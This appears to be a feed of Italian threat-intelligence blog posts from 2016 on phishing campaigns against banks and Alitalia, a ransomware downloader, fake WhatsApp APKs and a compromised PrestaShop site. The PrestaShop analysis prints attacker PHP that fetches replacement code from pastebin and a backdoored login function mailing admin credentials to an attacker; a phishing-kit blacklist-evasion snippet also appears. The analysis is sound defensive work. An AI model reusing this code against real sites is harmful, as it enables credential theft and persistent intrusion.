phishing-banca-popolare-di-spoleto

Durante l’analisi notturna abbiamo individuato un nuovo ente coinvolto nel Phishing, la Banca Popolare di Spoleto appartenente al Gruppo Banco Desio è un nuovo target per i Phisher e per i relativi cliente della banca.

Il kit sfrutta la codifica base64 per offuscare il sito internet utilizzato per diffondere il Phishing, l’utente riceve una eMail contenete uno short-link che rimanda ad una pagina PHP caricata su un sito compromesso tale pagina inoltrerà nuovamente l’utente ad una pagina locale generata sfruttando la capacità dei recenti browser di visualizzare e decodificare una pagina html in base64. Come è possibile notare nell’immagine di apertura nella barra dell’indirizzo non è presente un normale URL ma una porzione della stringa che genera la pagina HTML locale, per offuscare ulteriormente il tentativo di Phishing la stringa riporta inizialmente https://ihb2.cedaci.it/… che è effettivamente il sito legittimo del homebanking.

Invitiamo come di consueto gli utenti alla massima attenzione quando ricevono eMail di richiesta convalida credenziali.

Zecca_Infografica

L’Infografica in apertura riepiloga quanto rilevato durante il monitoraggio quotidiano della diffusione del Phishing e Malware, in data 6 Settembre 2016 è avvenuto un tentativo di diffusione malware sfruttando un legittimo account eMail dell’Istituto Poligrafico e Zecca dello Stato e i suoi server mail. L’eMail richiedeva all’utente il pagamento di una fattura arretrata indicando che poteva visualizzare tutti i dettagli nel file allegato.

Fortunatamente è intervenuto il server eMail della Zecca dello Stato che ha rilevato l’invio di un contenuto malevolo, procedendo quindi a “troncare” l’archivio impedendo la diffusione del file Roma-Consulting.wsf che probabilmente avrebbe effettuato il download di un eseguibile ed eseguito. Nonostante il vano tentativo, gli aggressori potrebbero cambiare il metodo di diffusione per aggirare i controlli del server eMail; basti pensare alla richiesta di visitare un sito internet contenente un eseguibile (per esempio abbiamo visto sfruttare questa tecnica ai danni di GLS) piuttosto che allegarlo.

La nostra attenzione è ricaduta sul server sfruttato per inviare l’eMail, falsificare il mittente di una eMail è notoriamente facile ma se la mail e il server mittente coincide con il dominio della mail vi sono soltanto due possibili spiegazioni. Hanno violato il server o hanno violato l’account. Dal medesimo server eMail non abbiamo ricevuto nessun altro genere di comunicazione malevola (phishing, spam, ecc) e pertanto la nostra attenzione si è soffermata sulla seconda ipotesi.

Nascono ora due distinte possibilità di attacco, la vittima è stata infettata da un Trojan che ha provveduto ad inviare le Mail a sua insaputa o a diffondere la password del suo account. Oppure l’utente ha sfruttato la stessa password dell’account aziendale anche per altri servizi. Negli ultimi mesi nel Deep Web, ma non solo, si stanno diffondendo importanti archivi di password e account provenienti dai più noti portali online, Linkedin è probabilmente l’esempio più lampante ma non scordiamoci di DropBox, Trenitalia, Badoo, MySpace e mentre scriviamo questo articolo anche la più utilizzata eMail Italiana, Libero, ha comunicato che il suo database è stato violato.

Abbiamo verificato nel Database di Linkedin e come è possibile visualizzare dall’Infografia la casella eMail sfruttata per inviare il malware è presente e anche la sua relativa password, oltre ad essa sono presenti altre 46 caselle della Zecca dello Stato.

È quindi possibile che l’utente in questione sfrutti la medesima password per accedere alla Casella di Posta Elettronica della Zecca dello Stato sia su Linkedin, gli attaccanti hanno sfruttato questa debolezza per inviare diverse eMail da un mail server autorevole.

2016.09.06_Screenshot_1515150

Negli ultimi giorni sono state inviate diverse eMail che avvisano l’utente nella presenza di una attività sospetta sul proprio account Microsoft, precisando che è stato eseguito un accesso il giorno 4 Settembre alle ore 12:37 GMT dalla Francia e da un utente avente l’indirizzo IP 6.2.794.8. Infine l’utente viene avvisato di controllare i propri ultimi accessi e se non riconosce l’accesso dalla Francia di aprire il documento allegato per ottenere informazioni in merito.

Il file allegato in formato ZIP viene generato con un nome casuale, ma al suo interno contiene un altro ZIP denominato 28781.zip che a sua volta contiene il file JavaScript 28781.jse. Quest’ultimo file ha il compito di effettuare il download del malware ed eseguirlo.

Analisi eMail

A prima vista è possibile determinare due errori nella stesura della eMail che chiaramente confermano la finta comunicazione. Innanzitutto il giorno 4 Settembre 2016 non era un Sabato come riportato nell’abbreviazione Inglese ma una domenica e quindi la corretta dicitura doveva essere “Sun, 04 Sep 2016…” inoltre l’indirizzo IP riportato non corrisponde allo standard per il protocollo IPv4. Un indirizzo IPv4 è composto da 4 numeri, ciascuno tra 0 e 255 mentre nella eMail è indicato il numero 794.

Infine la comunicazione arriva da un account Gmail (Google) che non ha certamente niente a che vedere con Microsoft, essendo due aziende concorrenti.

Analisi Malware

Il file JavaScript allegato avviandolo esegue il download del virus attraverso il dominio zapodewac.top tale sito è stato registrato in data 31 Agosto 2016 da Dudenkov Denis residente nella città russa Vladivostok. Un estratto del whois:

Domain Name: zapodewac.top
Domain ID: D20160831G10001G_78656334-TOP
WHOIS Server: www.eranet.com
Referral URL: http://www.eranet.com
Updated Date: 2016-08-31T15:41:49Z
Creation Date: 2016-08-31T15:30:05Z
Registry Expiry Date: 2017-08-31T15:30:05Z
Sponsoring Registrar: Eranet International Limited
Sponsoring Registrar IANA ID: 1868
Domain Status: clientTransferProhibited https://www.icann.org/epp#clientTransferProhibited
Registrant ID: tod-706245
Registrant Name: Dudenkov Denis
Registrant Organization: Denis Dudenkov
Registrant Street: Lenina 18
Registrant City: Vladivostok
Registrant State/Province: RU
Registrant Postal Code: 690109
Registrant Country: RU
Registrant Phone: +86.79242368995
Registrant Phone Ext:
Registrant Fax: +86.79242368995
Registrant Fax Ext:
Registrant Email: [email protected]

Continuando l’analisi del dominio rileviamo la presenza di diversi file che riconducono la presenza di un possibile pannello di controllo:

  • admin.php
  • allert.php
  • log.php
  • report.php
  • support.php
  • phpmyadmin/

Accedendo ai cinque diversi file PHP non si ottiene alcuna risposta, probabilmente per attivare le pagine bisogna passarli tramite chiamata GET o POST una password. È un metodo comunemente sfruttato per “nascondere” le web-shell o i mailer per inviare Phishing.

È probabile che il file admin.php permetta al criminale di accedere ad un proprio pannello di amministrazione, il file allert.php come spesso vediamo nel mondo del Phishing di avvisare l’attaccante della presenza di una nuova vittima, il file log.php di memorizzare i log di accesso, il report.php di generare report sugli accessi e relative informazioni sugli utenti e infine il file support.php che probabilmente permette di personalizzare la procedura di decifrazione per l’utente. Infine la presenza di PHPMyAdmin fa pensare che viene usato un database SQL per memorizzare i dati raccolti.

Effettuato il download del file eseguibile lo script JavaScript procede ad eseguirlo, esecuzione che cifrerà tutti i file presenti sulla Home Directory dell’utente impedendogli l’accesso salvo il pagamento di un riscatto pari a 1Bitcoin se l’acquisto viene fatto entro 5 giorni alternativamente il prezzo salirà a 2 Bitcoin. Al cambio odierno 1 Bitcoin corrisponde a quasi 550euro.

Il Ransomware a conferma che la decifrazione dei dati sia possibile permette di decifrare gratuitamente un file a propria scelta, della dimensione massima di 3Mb. Eseguendo tale procedura l’utente sceglierà il file da caricare e il sistema restituirà un archivio zippato contenente il file decifrato.

Al momento della stesura dell’articolo, ovvero dopo 3 giorni dalla diffusione del malware, solo il 30% degli antivirus commerciali riconoscono la minaccia secondo il report di VirusTotal.

 

VirusTotal_Zapodewac

Concludiamo con una galleria di screenshot del Malware in esecuzione su una nostra macchina di laboratorio.

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Invitiamo gli utenti alla massima attenzione prima di aprire ogni allegato presente in una eMail.

L’attività di monitoraggio D3Lab ha consentito di individuare un tentativo di frode volto a colpire i clienti di CartaSi attraverso un messaggio di posta elettronica, con il quale l’utente viene invitato ad aggiornare i dati della carta di credito per motivi di sicurezza.

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05Alitalia

Un gruppo di criminali informatici in queste ore sta inviando centinaia di eMail ai danni della compagnia aerea Alitalia: l’utente viene avvisato che in cambio della compilazione di un questionario di gradimento dei servizi offerti dalla compagnia riceverà un rimborso di 80 €. Il promesso rimborso verrà accreditato sulla Carta di Credito del cliente, pertanto concluso il questionario vengono richieste le informazioni personali della vittima, il numero della carta di credito, la data di scadenza, il CVV e il SecureCode.

I dati forniti verranno sfruttati per effettuare acquisti o prelievi di denaro ai danni della vittima, non certamente per emettergli l’atteso rimborso.

Il kit costruito dai Phisher genera ad ogni accesso una nuova cartella casuale, generando da prima un numero casuale tra 0 e 100000, successivamente viene generato Hash MD5 di tale numero e infine codificato in base64. Un esempio della funzione sfruttata dai Phisher:

$random=rand(0,100000);
$md5=md5("$random");
$base=base64_encode($md5);
$dst=md5("$base");
function recurse_copy($src,$dst) { 
...
...

Una volta generata la directory casuale all’interno di essa viene copiato il Kit di Phishing che la vittima visualizzerà. Questa tecnica è utile per eludere le BlackList e quindi l’avviso all’utente che sta visitando una possibile pagina fraudolenta poichè l’URL varierà ad ogni accesso.

Concludiamo con una galleria fotografica delle pagine di Phishing ai danni di Alitalia.

 

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Un costante monitoraggio della rete da parte di D3lab rileva come giornalmente vengano creati nuovi nomi di dominio spesso ingannevoli e che fanno riferimento a noti servizi internet quali ad esempio, PayPal
1

ma anche alla nota applicazione di messaggistica istantanea multipiattaforma per smartphone, Whatsapp
2In dettaglio ecco un novo dominio, dal nome ingannevole, che appare registrato da poche ore,

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e che mostra l’attuale hosting su IP USA

3La pagina di download della fake applicazione Whatsapp presenta un layout ottimizzato  per dispositivi mobili

5
Una volta cliccato sul pulsante download, viene scaricato un file apk che una analisi Virus Total mostra avere contenuti malware

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Sempre sul medesimo sito e’ possibile trovare pagine di download di altre note applicazioni Android, in realtà falsi apk dai contenuti maevoli.

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Il consiglio rimane quindi sempre  quello di evitare di scaricare applicazioni da siti poco conosciuti e di dubbia affidabilità, provvedendo inoltre, prima di installare il software, ad una scansione con servizi Internet di verifica dei contenuti, come ad esempio Virus Total, ricordando comunque che nel caso di nuovo malware o varianti di codici noti, anche la scansione online, potrebbe, specialmente nelle prime ore di distribuzione del codice malevolo, far apparire il file come  legittimo e senza problemi.

Presta

Durante l’analisi di un attacco di Phishing ai danni di un nostro cliente, con il supporto dell’amministratore del sito attaccato, abbiamo analizato come gli attaccanti abbiano alterato il Pannello di Amministratore di PrestaShop per inviare le credenziali dell’Admin via eMail.

 

Nel corso dell’ultimo trimestre cinque moduli esterni nel CMS PrestaShop sono risultati vulnerabili ad un attacco di tipo Remote Arbitrary File Upload, attacco che permette di caricare file di proprio piacimento sul sito internet vulnerabile.

Gli exploit, non diffusi attraverso i canonici canali dell’IT Security, permettono di sfruttare la vulnerabilità sui seguenti moduli:

  • simpleslideshow
  • columnadverts
  • productpageadverts
  • soopamobile
  • homepageadvertise

Analizzando il backup che ci è stato cortesemente fornito dall’amministratore del sito compromesso abbiamo rilevato non solo la presenza di diverse web shell protette da password o meno ma la nostra attenzione è ricaduta sull’alterazione del pannello di amministratore.

L’alterazione ha lo scopo di fornire all’attaccante le credenziali del pannello di amministrazione, un efficace sistema per preservare l’accesso al sito, anche dopo una eventuale bonifica delle shell presenti nel sito, aggiornamento dei moduli vulnerabili o un comune cambio password.

Come avviene questa compromissione?

L’attaccante sfrutta uno dei moduli vulnerabili per caricare uno o più file PHP sul sito internet, quello di nostro interesse si chiama do.php esso è suddiviso in due parte. La prima parte esegue l’alterazione del pannello di amministratore, la seconda invece è un semplice uploader per caricare ulteriore materiale sul sito senza sfruttare le vulnerabilità dei moduli.

La nostra attenzione ricade sulla prima parte del file, ovvero:


$sss=array('/','../','../../','../../../','../../../../','../../../../../');
foreach($sss as $pa){
$p1=array("$pa/controllers/admin/AdminLoginController.php","$pa/controllers/AdminLoginController.php");
foreach($p1 as $path){
if (file_exists("$path")){
$html = @file_get_contents('http://pastebin.com/raw/XXXXXXXX');
$save=fopen($path,'w');
fwrite($save,$html);
echo "
./done panel
";
}
}
}
...
...

Questa porzione di codice individua inizialmente la presenza del file AdminLoginController.php, se presente lo sostituisce con il codice PHP pubblicato su PasteBin, il codice pubblicato sul famoso portale riprende integralmente il file originale di PrestaShop ma altera la funzione di verifica delle credenziali:


public function processLogin()
{
/* Check fields validity */
$passwd = trim(Tools::getValue('passwd'));
$email = trim(Tools::getValue('email'));
$to = "[email protected]";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <[email protected]>";
$message = "Link : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);
if (empty($email)) {
$this->errors[] = Tools::displayError('Email is empty.');
} elseif (!Validate::isEmail($email)) {
$this->errors[] = Tools::displayError('Invalid email address.');
}

if (empty($passwd)) {
$this->errors[] = Tools::displayError('The password field is blank.');
} elseif (!Validate::isPasswd($passwd)) {
$this->errors[] = Tools::displayError('Invalid password.');
}

...
...

La funzione processLogin() ha normalmente il compito di verificare se le credenziali inserite sono corrette, ma attraverso questa alterazione l’attaccante riceverà via eMail le credenziali inserite dall’amministratore.

In seguito all’attacco rilevato nei giorni scorsi a danno di Cassa di Risparmio di Cesena, D3Lab ha eseguito un’analisi approfondita riguardante il dominio coinvolto.

Analizzando l’host si rileva che è stato creato in data 30-07-2015 come evidenziato nello screenshot sottostante e che risulta essere posizionato su un server ecuadoregno. Continua a leggere

Capita abbastanza spesso che l’azione di monitoraggio D3Lab dei casi di phishing rilevi files, quasi sempre in formato txt, contenenti dettagli sulla connessioni al clone da parte di chi è caduto nel phishing.
Detti files sono raggiungibili e scaricabili direttamente dal browser e presentano una ampia varietà di dati che vanno da un semplice elenco di indirizzi IP di chi ha visitato il clone di phishing (a volte con il dettaglio della geo-referenziazione) Continua a leggere

Il monitoraggio di phishing internazionale  ha consentito d individuare nella prima mattina odierna un tentativo di frode a danno di un nuovo ente, la Société Marseillaise de Crédit, banca principale del sud est della Francia con oltre 175 filiali di proprietà della francese Crédit du Nord.

20160810085510

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